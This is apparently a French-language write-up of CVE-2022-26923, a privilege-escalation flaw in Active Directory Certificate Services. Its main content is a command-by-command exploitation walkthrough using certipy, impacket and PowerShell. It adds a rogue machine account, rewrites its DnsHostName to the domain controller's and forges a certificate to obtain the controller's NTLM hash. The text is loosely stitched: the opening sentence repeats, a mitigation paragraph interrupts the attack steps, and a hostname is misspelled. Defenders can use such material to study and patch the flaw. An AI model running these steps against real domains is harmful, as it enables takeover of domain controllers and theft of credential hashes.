
La vulnérabilité permettait à un utilisateur à faibles privilèges d'élever ses privilèges jusqu'à celui d'administrateur de domaine dans un environnement Active Directory par défaut avec le rôle de serveur Active Directory Certificate Services (AD CS) installé.
La vulnérabilité permettait à un utilisateur à faibles privilèges d'élever ses privilèges jusqu'à administrateur de domaine dans un environnement Active Directory par défaut avec le rôle de serveur Active Directory Certificate Services (AD CS) installé.
Un exploit a été développé par Oliver Lyak (ly4k_) en Python et a été publié avant l'avis, et non après. Il est déclaré comme preuve de concept. L'exploit est disponible en téléchargement sur research.ifcr.dk.
Source :
La faille récemment révélée d'élévation de privilèges dans Active Directory n'a pas encore été exploitée dans la nature, mais son score CVSS élevé de 8.8 indique le risque élevé qu'elle représente pour les systèmes compromis, permettant aux attaquants d'abuser des problèmes de certificats. CVE-2022–26923 permet de manipuler l'attribut DnsHostName, qui spécifie le nom de l'ordinateur tel qu'il est enregistré dans le DNS, et permet ensuite à un adversaire d'obtenir un certificat auprès des services de certificats Active Directory, ce qui peut conduire à une élévation de privilèges.
- Nom d'utilisateur: user_test
- Mot de passe: Password123#
- Domaine: my.domain.com
Pour reproduire, vous devez:
- Avoir impacket et certipy installés sur la machine attaquante.
- https://github.com/SecureAuthCorp/impacket
- https://github.com/ly4k/Certipy
- Avoir compromis un utilisateur à faibles privilèges.
- Un système n'est vulnérable que si les services de certificats Active Directory sont exécutés sur le domaine.
Commençons par générer un certificat pour notre utilisateur AD à faibles privilèges (Nom d'utilisateur=user_test Mot de passe=Password123#) en utilisant le modèle de certificat User :
certipy req 'my.domain.com/user_test:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template User
Vérifions que le certificat est valide et qu'il peut être utilisé pour l'authentification Kerberos via Certipy :
certipy auth -pfx user_test.pfx
Ajout d'un ordinateur virtuel au domaine avec Impacket
addcomputer.py 'my.domain.com/user_test:Password123#' -method LDAPS -computer-name 'NEW_PC' -computer-pass 'Password123#'
# my.domain.com/user_test:Password123# - We need to provide valid AD credentials in order to add a new computer.
# method - The method of authentication. LDAPS will interface with the LDAP service on the domain controller.
# computer-name - The name of our computer. This can be anything we like, as long as it is not the same as an existing computer object.
# computer-pass - The password associated with our computer's machine account. We will need to impersonate this computer that we create, so make note of the password you chose here.
Générons un certificat pour le nouvel ordinateur que nous avons créé. Pour utiliser le compte machine dudit ordinateur, vous devez ajouter un « $ » à la fin du nom :
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
Pour l'atténuation de CVE-2022–26923 et les mesures de protection, Microsoft recommande vivement de mettre à jour tous les serveurs exécutant AD Certificate Services et les contrôleurs de domaine Windows qui utilisent l'authentification par certificat vers la dernière version du 10 mai.
Sur la machine compromise, mise à jour du nom d'hôte DNS et des attributs SPN :
PS C:\Users\user_test> Get-ADComputer NEW_PC -properties dnshostname,serviceprincipalname
Supprimer notre attribut SPN actuel
PS C:\Users\user_test> Set-ADComputer NEW_PC -ServicePrincipalName @{}
Essayez de définir l'attribut de nom d'hôte DNS sur celui du contrôleur de domaine :
PS C:\Users\user_test> Set-ADComputer NEW_PC -DnsHostName HOSTANME.my.domain.com
Sur la machine attaquante, forger un certificat malveillant
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
Vérifiez que ce certificat fonctionne et qu'il renverra le hash NTLM
certipy auth -pfx hostname.pfx